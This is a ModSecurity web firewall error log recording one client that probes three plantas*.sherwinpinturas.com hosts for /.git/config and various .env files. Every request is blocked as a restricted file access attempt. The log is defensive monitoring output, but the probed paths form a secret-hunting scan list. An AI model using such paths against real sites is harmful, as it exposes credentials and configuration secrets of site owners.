[Sun Oct 25 02:18:47.850330 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2fR3qPPT_6tJCMTRvt3wAAAAs"]
[Sun Oct 25 02:18:48.062220 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2fSFyqe9jgJ5nfJHB7NwAAAAo"]
[Sun Oct 25 02:18:48.258938 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2fSFyqe9jgJ5nfJHB7NwAAAAo"]
[Sun Oct 25 02:18:48.259464 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2fSFyqe9jgJ5nfJHB7NwAAAAo"]
[Sun Oct 25 02:18:48.451199 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2fSFTnwNJm6o1fQZIhMAAAAAI"]
[Sun Oct 25 02:18:48.451485 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2fSFTnwNJm6o1fQZIhMAAAAAI"]
[Sun Oct 25 02:18:48.451855 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2fSFTnwNJm6o1fQZIhMAAAAAI"]
[Sun Oct 25 02:18:48.521224 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2fSHqPPT_6tJCMTRvt4QAAAAs"]
[Sun Oct 25 02:18:48.521477 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2fSHqPPT_6tJCMTRvt4QAAAAs"]
[Sun Oct 25 02:18:48.521873 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2fSHqPPT_6tJCMTRvt4QAAAAs"]
[Sun Oct 25 02:18:48.713199 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at2fSFTnwNJm6o1fQZIhMQAAAAI"]
[Sun Oct 25 02:18:48.713479 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at2fSFTnwNJm6o1fQZIhMQAAAAI"]
[Sun Oct 25 02:18:48.713813 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at2fSFTnwNJm6o1fQZIhMQAAAAI"]
[Sun Oct 25 02:18:48.749801 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at2fSHqPPT_6tJCMTRvt4gAAAAs"]
[Sun Oct 25 02:18:48.749967 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at2fSHqPPT_6tJCMTRvt4gAAAAs"]
[Sun Oct 25 02:18:48.750193 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at2fSHqPPT_6tJCMTRvt4gAAAAs"]
[Sun Oct 25 02:18:48.882383 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2fSFyqe9jgJ5nfJHB7OQAAAAo"]
[Sun Oct 25 02:18:48.882666 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2fSFyqe9jgJ5nfJHB7OQAAAAo"]
[Sun Oct 25 02:18:48.883026 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2fSFyqe9jgJ5nfJHB7OQAAAAo"]
[Sun Oct 25 02:18:48.984665 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2fSFTnwNJm6o1fQZIhMgAAAAI"]
[Sun Oct 25 02:18:48.984997 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2fSFTnwNJm6o1fQZIhMgAAAAI"]
[Sun Oct 25 02:18:48.985372 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2fSFTnwNJm6o1fQZIhMgAAAAI"]
[Sun Oct 25 02:18:48.986521 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2fSHqPPT_6tJCMTRvt4wAAAAs"]
[Sun Oct 25 02:18:48.986668 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2fSHqPPT_6tJCMTRvt4wAAAAs"]
[Sun Oct 25 02:18:48.986911 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2fSHqPPT_6tJCMTRvt4wAAAAs"]
[Sun Oct 25 02:18:49.136865 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at2fSVyqe9jgJ5nfJHB7OgAAAAo"]
[Sun Oct 25 02:18:49.137150 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at2fSVyqe9jgJ5nfJHB7OgAAAAo"]
[Sun Oct 25 02:18:49.137493 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at2fSVyqe9jgJ5nfJHB7OgAAAAo"]
[Sun Oct 25 02:18:49.278071 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at2fSVTnwNJm6o1fQZIhMwAAAAI"]
[Sun Oct 25 02:18:49.278362 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at2fSVTnwNJm6o1fQZIhMwAAAAI"]
[Sun Oct 25 02:18:49.278663 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at2fSVTnwNJm6o1fQZIhMwAAAAI"]
[Sun Oct 25 02:18:49.279800 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at2fSXqPPT_6tJCMTRvt5AAAAAs"]
[Sun Oct 25 02:18:49.279958 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at2fSXqPPT_6tJCMTRvt5AAAAAs"]
[Sun Oct 25 02:18:49.280187 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at2fSXqPPT_6tJCMTRvt5AAAAAs"]
[Sun Oct 25 02:18:49.403074 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2fSVyqe9jgJ5nfJHB7OwAAAAo"]
[Sun Oct 25 02:18:49.403360 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2fSVyqe9jgJ5nfJHB7OwAAAAo"]
[Sun Oct 25 02:18:49.403724 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at2fSVyqe9jgJ5nfJHB7OwAAAAo"]
[Sun Oct 25 02:18:49.515217 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at2fSVTnwNJm6o1fQZIhNAAAAAI"]
[Sun Oct 25 02:18:49.515539 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at2fSVTnwNJm6o1fQZIhNAAAAAI"]
